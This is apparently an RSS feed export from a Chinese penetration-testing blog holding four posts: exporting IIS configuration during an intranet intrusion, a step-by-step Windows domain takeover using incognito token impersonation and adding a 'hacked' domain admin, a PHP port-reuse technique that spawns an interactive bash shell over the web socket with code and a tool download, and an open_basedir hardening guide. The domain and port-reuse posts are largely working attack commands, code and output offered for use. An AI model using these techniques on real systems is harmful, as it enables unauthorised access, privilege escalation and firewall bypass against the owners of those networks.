<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 技术文章</title>
	<atom:link href="http://www.4shell.org/archives/category/technology/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Tue, 31 Jan 2012 12:43:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>命令行导出IIS配置信息</title>
		<link>http://www.4shell.org/archives/2078.html</link>
		<comments>http://www.4shell.org/archives/2078.html#comments</comments>
		<pubDate>Tue, 31 Jan 2012 12:43:28 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[iiscnfg]]></category>
		<category><![CDATA[小技巧]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2078</guid>
		<description><![CDATA[渗透某内网时，得一内网SA，外网映射IP未知，开80端口，服务器不可外连，渴此机IIS配置信息，Google之，得方法，遂共享。 iiscnfg /export /f c:\chinadu.xml /sp / /children /inherited 但很多情况下如果在服务器直接执行的话，会报错cscript不是默认vbs解释器(iiscnfg是个VBS文件iiscnfg.vbs),所以我们应该用cscript加参数来运行: cscript C:\WINDOWS\system32\iiscnfg.vbs /export /f c:\chinadu.xml /sp / /children /inherited PS:开始/sp参数后面的路径老不对，后来发现用“/”根路径就可以了，信息还更全。 详细参数请Google。 PS: 标签有网站基本配置信息 标签有网站目录配置信息和其他配置信息 其它自己看 相关文章2011年11月24日 -- 域内指定用户中马2011年06月6日 -- Linux下MySQL的load_file常用路径2011年06月6日 -- linux渗透小技巧2010年05月5日 -- 搞内网的一个小技巧2010年04月22日 -- 更改windows2003最大连接数2010年03月1日 -- 让千千静听不再弹出广告2010年01月19日 -- 手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】2009年11月5日 -- MySQL导入数据库文件最大限制2048KB的修改解决办法2009年09月22日 -- wp-postviews和Wp Super Cache有冲突2009年09月22日 -- 流量过大，不得不启用WP Super Cache]]></description>
			<content:encoded><![CDATA[<p>渗透某内网时，得一内网SA，外网映射IP未知，开80端口，服务器不可外连，渴此机IIS配置信息，Google之，得方法，遂共享。</p>
<p>iiscnfg /export /f c:\chinadu.xml /sp / /children /inherited</p>
<p>但很多情况下如果在服务器直接执行的话，会报错cscript不是默认vbs解释器(iiscnfg是个VBS文件iiscnfg.vbs),所以我们应该用cscript加参数来运行:</p>
<p>cscript C:\WINDOWS\system32\iiscnfg.vbs /export /f c:\chinadu.xml /sp / /children /inherited</p>
<p>PS:开始/sp参数后面的路径老不对，后来发现用“/”根路径就可以了，信息还更全。<br />
详细参数请Google。</p>
<p>PS:<br />
<IIsWebServer>标签有网站基本配置信息<br />
<IIsWebVirtualDir>标签有网站目录配置信息和其他配置信息<br />
其它自己看 </p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2010年05月5日 -- <a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li><li>2010年04月22日 -- <a href="http://www.4shell.org/archives/1720.html" title="更改windows2003最大连接数">更改windows2003最大连接数</a></li><li>2010年03月1日 -- <a href="http://www.4shell.org/archives/1591.html" title="让千千静听不再弹出广告">让千千静听不再弹出广告</a></li><li>2010年01月19日 -- <a href="http://www.4shell.org/archives/1476.html" title="手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】">手工屏蔽迅雷技巧【禁止上传、广告、迅雷看看15秒广告】</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1110.html" title="wp-postviews和Wp Super Cache有冲突">wp-postviews和Wp Super Cache有冲突</a></li><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1109.html" title="流量过大，不得不启用WP Super Cache">流量过大，不得不启用WP Super Cache</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2078.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to attack a windows domain</title>
		<link>http://www.4shell.org/archives/2074.html</link>
		<comments>http://www.4shell.org/archives/2074.html#comments</comments>
		<pubDate>Mon, 02 Jan 2012 11:29:11 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2074</guid>
		<description><![CDATA[Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the [...]]]></description>
			<content:encoded><![CDATA[<p>Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the nbtstat tool to look for the right domain controller identifier or an obvious hostname.</p>
<p>You can also browse the network neighborhood or use the net view command.</p>
<p>Aquiring and cracking the hashes of your target is generally useful as well.</p>
<p>Enumerate group membership so you know who to target.</p>
<p>Get the usernames in the local administrators group:</p>
<pre>C:WINDOWSsystem32&gt;net localgroup administrators
net localgroup administrators
Alias name  administrators
Comment     Administrators have complete and unrestricted access to the computer/domain

Members
--------------------------------------
Administrator
BLACKHATDomain Admins
hacked
local_valsmith
root
The command completed successfully.</pre>
<p>Enumerate the domain admins</p>
<pre>C:WINDOWSsystem32&gt;net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain blackhat.com.

Group name   Domain Admins
Comment      Designated administrators of the domain

Members

---------------------------------------------------
admin_valsmith      Administrator
The command completed successfully.</pre>
<p>So admin_valsmith is our target domain admin. Lets say the workstation we hacked is on 172.16.1.10. We now need to find out of there are any security tokens we can access.</p>
<pre>c:incognito&gt;incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 list_tokens -u
[*] Attempting to establish new connection to \172.16.1.10IPC$
[*] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-FC12020A7EED}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Listing unique users found...

Delegation Tokens Available
==========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
XPCLIENTlocal_valsmith

Impersonation Tokens Available
==========================================
BLACKHATadmin_valsmith
NT AUTHORITYANONYMOUS LOGON

[*] Service shutdown detected. Service executable file deleted
[*] Deleting service</pre>
<p>So admin_valsmith is our target domain administrator and an impersonation token is available to us!</p>
<p>The above command assumes we have cracked the hash of the local admin and retrieved the password. This will connect to IPC$ share on the target and list any tokens that are available.</p>
<p>Next we will utilize this token to gain domain admin rights:</p>
<pre>C:incognitoincognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 execute -c "blackhatadmin_valsmith" cmd

[*] Attempting to establish new connection to \172.16.1.10IPC$
[+] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-9047A294CE6D}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[-] No Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32&gt;whoami
whoami
admin_valsmith</pre>
<p>So we now have a shell with the rights of the domain administrator. We will add an account to the domain controller to demonstrate our access:</p>
<p>C:net user hacked 0h3ck3d! /add /domain<br />
net user hacked 0h3cked! /add /domain<br />
The request will be processed at a domain controller for domain blackhat.com.</p>
<p>The command completed successfully.</p>
<p>Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.</p>
<pre>C:net group "domain admins" hacked /add /domain
net group "domain admins" hacked /add /domain
The reuqest will be processed at a domain controller for domain blackhat.com

The command completed successfully.</pre>
<p>At this point we have control over the domain and can likely log into any workstation which is on the domain.</p>
<p>Some further related reading:</p>
<p><a href="http://eusecwest.com/esw08/esw08-jennings.pdf">One token to Rule them All: Post-Exploitation Fun in Windows Environments</a></p>
<p><a href="http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf">Security implications of windows access tokens</a></p>
<p><a href="http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf">Meta-Post_Exploitation.pdf</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1037.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2074.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP端口复用的利用</title>
		<link>http://www.4shell.org/archives/2064.html</link>
		<comments>http://www.4shell.org/archives/2064.html#comments</comments>
		<pubDate>Sat, 03 Dec 2011 07:58:11 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[端口复用]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2064</guid>
		<description><![CDATA[来自：wofeiwo 如果还有人记得我当年发在80sec上的那篇《Linux 系统文件描述符继承带来的危害》的话，应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了：由于在系统底层exec其他进程的时候，所有开启的FD就会被自动关闭，因此就没有办法使用system等php函数，在子进程如bash中继续操作原有开启的高权限文件描述符。 但是最近PHP 5.3.6引进了一个新特性：利用fopen("php://fd/fd_number", "w")的形式，可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。 结 合这两点，由于php本身的一种运行方式是以apache的mod方式在apahe进程中存在的，所以对于php来说，他的自身进程也就是apache的 进程，所有apache原来在root下打开的文件描述符，他都能操作。于是乎，原有修补完毕的漏洞，经过PHP新功能的妙手回春，又重现江湖了。 那么究竟如何利用这个漏洞呢？在之前的那篇文章里， 我曾经给出了一个例子，就是直接复用当前连接80端口的socket，生成一个交互性shell。当时我没有给出自动化查找当前连接80端口socket 的实现，但实际上，在写文章的时候，我就私底下给出过一个利用shell工具自动化查找当前socket连接的方法： system("ip=`netstat -ane &#124; grep ${_SERVER['REMOTE_ADDR']} &#124; grep ESTABLISHED &#124; awk '{print $8}'`;socket=`ls -alh /proc/self/fd &#124; grep $ip &#124;awk '{print $9}'`; python -c 'import pty;pty.spawn("/bin/bash")' 1&#62;&#38;$socket 0&#62;&#38;$socket 2&#62;&#38;$socket"); 解读一下上面的伪 PHP shell 代码：通过比对netstat -ane（e参数的作用是输出socket号）的输出和/proc/self/fd（当前进程的文件描述符信息）的内容，找到相匹配的socket号，那就是当前连接的socket了，然后立刻重用之。很简单吧？ 但当时的例子已经不能在apache补丁后使用了，因为他用到了子进程再重定向输入输出来实现端口复用。而现在由于不能使用子进程来做这些事情，因此所有难点就集中在如何自动化的查找当前连接的socket上。 仔细看上面那些代码的原理，不过是使用netstat来进行当前系统中socket信息的输出比对。既然如此，我只要手工实现netstat的功能即可。那netstat又是如何实现的呢？ 实 际上，netstat本身也是通过读取系统中的/proc/net/tcp(6)文件来实现对当前网络状态的监控输出的。我们只要依样画葫芦对此文件进行 解析（主要是合并ipv4和ipv6的内容，然后从16进制转换成字符串形式的ip，端口），然后再比对一下，只要发现此socket的远程ip和端口和 php中的$_SERVER['REMOTE_ADDR']，$_SERVER['REMOTE_PORT']相匹配即可。具体实现如下： function find_socket(){ // Get tcp connection status from /proc $net = file_get_contents("/proc/net/tcp"); $net .= file_get_contents("/proc/net/tcp6");// Find fd from /proc $dir = dir("/proc/self/fd"); while (false !== ($e = $dir-&#62;read())) { // Find socket inode in /proc/self/fd. if (is_link("/proc/self/fd/".$e) &#38;&#38; $e != "." &#38;&#38; $e != ".."){ if(preg_match("/socket:[(d+)]/", @readlink("/proc/self/fd/".$e), $m1)){ // Match every socket inode in /proc/net/tcp &#38; /proc/net/tcp6. // If it matchs this connection remote ip/remote port, bingo! We got it! if(preg_match("/.*${m1[1]}/", $net, $m2)){ preg_match_all("/(w{8}):(w{4})/", $m2[0], $m3); // decode ips $sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1]; sscanf($sipstring, "%x", $siplong); $ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1]; sscanf($ripstring, "%x", $riplong); $sip = long2ip($siplong); $rip = long2ip($riplong); // decode ports sscanf($m3[2][0], "%x", $sport); sscanf($m3[2][1], "%x", $rport); if ($rip == $_SERVER['REMOTE_ADDR'] &#38;&#38; $rport == $_SERVER['REMOTE_PORT']){ $dir-&#62;close(); return $e; // That is our socket fd. } } } } } $dir-&#62;close(); return false; [...]]]></description>
			<content:encoded><![CDATA[<div>来自：<a href="http://www.phpweblog.net/GaRY/archive/2011/10/09/PHP_Port_Reuse_With_Apache_FD.html">wofeiwo</a></div>
<div>如果还有人记得我当年发在80sec上的那篇《<a href="http://www.80sec.com/security-issue-on-linux-fd-inheritance.html">Linux 系统文件描述符继承带来的危害</a>》的话，应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了：由于在系统底层exec其他进程的时候，所有开启的FD就会被自动关闭，因此就没有办法使用system等php函数，在子进程如bash中继续操作原有开启的高权限文件描述符。</div>
<div>但是最近PHP 5.3.6引进了一个新特性：利用fopen("php://fd/fd_number", "w")的形式，可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。</div>
<p>结 合这两点，由于php本身的一种运行方式是以apache的mod方式在apahe进程中存在的，所以对于php来说，他的自身进程也就是apache的 进程，所有apache原来在root下打开的文件描述符，他都能操作。于是乎，原有修补完毕的漏洞，经过PHP新功能的妙手回春，又重现江湖了。</p>
<p>那么究竟如何利用这个漏洞呢？在<a href="http://www.80sec.com/security-issue-on-linux-fd-inheritance.html">之前的那篇文章</a>里， 我曾经给出了一个例子，就是直接复用当前连接80端口的socket，生成一个交互性shell。当时我没有给出自动化查找当前连接80端口socket 的实现，但实际上，在写文章的时候，我就私底下给出过一个利用shell工具自动化查找当前socket连接的方法：</p>
<div>
<div>system("ip=`netstat -ane | grep ${_SERVER['REMOTE_ADDR']} | grep ESTABLISHED | awk '{print $8}'`;socket=`ls -alh /proc/self/fd | grep $ip |awk '{print $9}'`; python -c 'import pty;pty.spawn("/bin/bash")' 1&gt;&amp;$socket 0&gt;&amp;$socket 2&gt;&amp;$socket");</div>
<p>解读一下上面的<span style="text-decoration: line-through;">伪 </span>PHP <span style="text-decoration: line-through;">shell </span>代码：通过比对netstat -ane（e参数的作用是输出socket号）的输出和/proc/self/fd（当前进程的文件描述符信息）的内容，找到相匹配的socket号，那就是当前连接的socket了，然后立刻重用之。很简单吧？</p>
</div>
<p>但当时的例子已经不能在apache补丁后使用了，因为他用到了子进程再重定向输入输出来实现端口复用。而现在由于不能使用子进程来做这些事情，因此所有难点就集中在如何自动化的查找当前连接的socket上。</p>
<p>仔细看上面那些代码的原理，不过是使用netstat来进行当前系统中socket信息的输出比对。既然如此，我只要手工实现netstat的功能即可。那netstat又是如何实现的呢？<br />
<span id="more-2064"></span><br />
实 际上，netstat本身也是通过读取系统中的/proc/net/tcp(6)文件来实现对当前网络状态的监控输出的。我们只要依样画葫芦对此文件进行 解析（主要是合并ipv4和ipv6的内容，然后从16进制转换成字符串形式的ip，端口），然后再比对一下，只要发现此socket的远程ip和端口和 php中的$_SERVER['REMOTE_ADDR']，$_SERVER['REMOTE_PORT']相匹配即可。具体实现如下：</p>
<div>function find_socket(){<br />
// Get tcp connection status from /proc<br />
$net = file_get_contents("/proc/net/tcp");<br />
$net .= file_get_contents("/proc/net/tcp6");// Find fd from /proc<br />
$dir = dir("/proc/self/fd");<br />
while (false !== ($e = $dir-&gt;read())) {<br />
// Find socket inode in /proc/self/fd.<br />
if (is_link("/proc/self/fd/".$e) &amp;&amp; $e != "." &amp;&amp; $e != ".."){<br />
if(preg_match("/socket:[(d+)]/", @readlink("/proc/self/fd/".$e), $m1)){<br />
// Match every socket inode in /proc/net/tcp &amp; /proc/net/tcp6.<br />
// If it matchs this connection remote ip/remote port, bingo! We got it!<br />
if(preg_match("/.*${m1[1]}/", $net, $m2)){<br />
preg_match_all("/(w{8}):(w{4})/", $m2[0], $m3);</p>
<p>// decode ips<br />
$sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1];<br />
sscanf($sipstring, "%x", $siplong);<br />
$ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1];<br />
sscanf($ripstring, "%x", $riplong);<br />
$sip = long2ip($siplong);<br />
$rip = long2ip($riplong);</p>
<p>// decode ports<br />
sscanf($m3[2][0], "%x", $sport);<br />
sscanf($m3[2][1], "%x", $rport);</p>
<p>if ($rip == $_SERVER['REMOTE_ADDR'] &amp;&amp; $rport == $_SERVER['REMOTE_PORT']){<br />
$dir-&gt;close();<br />
return $e; // That is our socket fd.<br />
}<br />
}<br />
}<br />
}<br />
}<br />
$dir-&gt;close();<br />
return false;<br />
}</p>
</div>
<p>ok，FD一找到，剩下的就是生成bash了。这里也不能老样子使用system，得换一下使用proc_open（为什么自己想）。具体代码就不写了。直接上效果：</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2011/12/075811Mjo.png" alt="" width="853" height="324" border="0" /></p>
<p>只要简单的一个GET，就可以直接获取交互式shell，穿透防火墙哦亲~</p>
<p>上 篇文章中还提到利用此方法可以做内网的端口转发，从而一个80端口走遍内网。不过当时没有给出实现，其实也非常简单，只需要将bash换成nc就可以了。 不过这里需要多加一个slave端，在本地监听端口，让本地程序连接此端口，然后在数据发送前，加上一个GET请求，然后直接转发即可。我这里也给一下效 果：</p>
<p>首先在本地执行一下slave程序，我这里是自己写的一个python脚本，pr.py。</p>
<div>python pr.py http://www.target.com/t.php 127.0.0.1:22</div>
<p>第 一个参数为我们的脚本地址，第二个参数就是想要转发的目标地址了。我这里用的是target的22端口，实际上可以是他任意的内网地址。执行 后，pr.py就会在我的机器本地监听1234端口，等待其他程序连接了。所有发送到本机1234的数据都会被转发到target的22端口中。</p>
<p><img src="http://www.4shell.org/wp-content/uploads/images/2011/12/0758123NG.png" alt="" width="850" height="435" border="0" /></p>
<p>看，网络连接中可以很清晰的看到我们的nc程序正在忠实的进行这转发操作，而我们的ssh连接也一切正常。<br />
稳定，舒适，一个80端口一个连接，内网任我行。</p>
<p>具体实现，我放到下面了。如果你还有兴趣，就自己研究一下吧。例如多一个sock5代理，甚至只要给nc加一个参数就可以了。</p>
<p>&nbsp;</p>
<p>下载地址：</p>
<p><a href="http://www.4shell.org/tools/php_port_reuse.zip">http://www.4shell.org/tools/php_port_reuse.zip</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年12月3日 -- <a href="http://www.4shell.org/archives/2063.html" title="php open_basedir设置以及关于安全">php open_basedir设置以及关于安全</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1928.html" title="简单配置 IIS6 + FastCGI 高效运行PHP">简单配置 IIS6 + FastCGI 高效运行PHP</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1916.html" title="Linux下Apache与PHP安全相关设置">Linux下Apache与PHP安全相关设置</a></li><li>2010年06月23日 -- <a href="http://www.4shell.org/archives/1785.html" title="分享国外一个PHP DDOS的脚本">分享国外一个PHP DDOS的脚本</a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1221.html" title="php.ini文件A级变态配置">php.ini文件A级变态配置</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/770.html" title="php导出oracle库的php代码">php导出oracle库的php代码</a></li><li>2009年01月24日 -- <a href="http://www.4shell.org/archives/724.html" title="猥琐流之php反弹">猥琐流之php反弹</a></li><li>2008年12月9日 -- <a href="http://www.4shell.org/archives/701.html" title="Php注入点构造">Php注入点构造</a></li><li>2008年11月16日 -- <a href="http://www.4shell.org/archives/615.html" title="dedecms plus/infosearch.php Exploit">dedecms plus/infosearch.php Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2064.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php open_basedir设置以及关于安全</title>
		<link>http://www.4shell.org/archives/2063.html</link>
		<comments>http://www.4shell.org/archives/2063.html#comments</comments>
		<pubDate>Sat, 03 Dec 2011 07:55:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2063</guid>
		<description><![CDATA[open_basedir可将用户访问文件的活动范围限制在指定的区域，通常是其家目录的路径，也可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录，请用斜线结束路径名。 open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。当其作用于Apache模块时，父目录中的open_basedir路径自动被继承。 Apache+PHP配置方法有三种： 方法一：在php.ini里配置 open_basedir = .:/tmp/ 方法二：在Apache配置的VirtualHost里设置(httpd-vhosts.conf) php_admin_value open_basedir .:/tmp/ 方法三：在Apache配置的Direcotry里设置 php_admin_value open_basedir .:/tmp/ 关于三个配置方法的解释： a、方法二的优先级高于方法一，也就是说方法二会覆盖方法一；方法三的优先级高于方法二，也就是说方法三会覆盖方法二； b、配置目录里加了“/tmp/”是因为php默认的临时文件（如上传的文件、session等）会放在该目录，所以一般需要添加该目录，否则部分功能将无法使用； c、配置目录里加了“.”是指运行php文件的当前目录，这样做可以避免每个站点一个一个设置； d、如果站点还使用了站点目录外的文件，需要单独在对应VirtualHost设置该目录； ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 这里是我实验的一个例子,设置了两个host，当然一块把Apache设置vitualHost的方法也列出了： &#160; #虚拟主机配置文件 NameVirtualHost *:80 #简单设置模式 &#60;VirtualHost *:80&#62; ServerAdmin admin@8100.cc DocumentRoot "C:/AWEB/phproot/test" ServerName localhost #ServerAlias www.test.com ErrorLog "logs/error.log" CustomLog "logs/access.log" common &#60;/VirtualHost&#62; #详细设置模式 &#60;VirtualHost *:80&#62; ServerAdmin [...]]]></description>
			<content:encoded><![CDATA[<p>open_basedir可将用户访问文件的活动范围限制在指定的区域，通常是其家目录的路径，也可用符号"."来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。<br />
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录，请用斜线结束路径名。<br />
open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。当其作用于Apache模块时，父目录中的open_basedir路径自动被继承。</p>
<p>Apache+PHP配置方法有三种：<br />
方法一：在php.ini里配置<br />
open_basedir = .:/tmp/</p>
<p>方法二：在Apache配置的VirtualHost里设置(httpd-vhosts.conf)<br />
php_admin_value open_basedir .:/tmp/</p>
<p>方法三：在Apache配置的Direcotry里设置<br />
php_admin_value open_basedir .:/tmp/</p>
<p><span id="more-2063"></span></p>
<p>关于三个配置方法的解释：<br />
a、方法二的优先级高于方法一，也就是说方法二会覆盖方法一；方法三的优先级高于方法二，也就是说方法三会覆盖方法二；<br />
b、配置目录里加了“/tmp/”是因为php默认的临时文件（如上传的文件、session等）会放在该目录，所以一般需要添加该目录，否则部分功能将无法使用；<br />
c、配置目录里加了“.”是指运行php文件的当前目录，这样做可以避免每个站点一个一个设置；<br />
d、如果站点还使用了站点目录外的文件，需要单独在对应VirtualHost设置该目录；</p>
<p>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br />
这里是我实验的一个例子,设置了两个host，当然一块把Apache设置vitualHost的方法也列出了：</p>
<p>&nbsp;</p>
<p>#虚拟主机配置文件</p>
<p>NameVirtualHost *:80</p>
<p>#简单设置模式<br />
&lt;VirtualHost *:80&gt;<br />
ServerAdmin admin@8100.cc<br />
DocumentRoot "C:/AWEB/phproot/test"<br />
ServerName localhost<br />
#ServerAlias www.test.com<br />
ErrorLog "logs/error.log"<br />
CustomLog "logs/access.log" common<br />
&lt;/VirtualHost&gt;<br />
#详细设置模式<br />
&lt;VirtualHost *:80&gt;<br />
ServerAdmin admin@cc.cc<br />
DocumentRoot "C:/AWEB/phproot/test2"<br />
ServerName www.test2.com<br />
# php_admin_value open_basedir C:/AWEB/phproot/test2/;C:/windows/temp/     放在这里也可以<br />
&lt;Directory "C:/AWEB/phproot/test2"&gt;<br />
Options Indexes FollowSymLinks<br />
AllowOverride Options FileInfo<br />
Order allow,deny<br />
Allow from all<br />
DirectoryIndex index.htm index.html index.php<br />
php_admin_value open_basedir c:/AWEB/phproot/test2/;C:/windows/temp/<br />
&lt;/Directory&gt;<br />
Alias /phpmyadmin "C:/AWEB/phpMyAdmin/"<br />
&lt;Directory "C:/AWEB/phpMyAdmin"&gt;<br />
AllowOverride AuthConfig<br />
Order allow,deny<br />
Allow from all<br />
&lt;/Directory&gt;<br />
ErrorLog "logs/error.log"<br />
CustomLog "logs/access.log" common<br />
&lt;/VirtualHost&gt;</p>
<p>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------<br />
最后转军神的那两句话：</p>
<p>一、open_basedir中处理文件路径时没有严格考虑目录的存在，这将导致本地包含或者本地文件读取的绕过（合并/aaa/../../导致linux的目录检查作废）。</p>
<p>二、open_basedir的值配置不当，有可能导致目录跨越（配置时忘记目录最后的斜杠 / ）。</p>
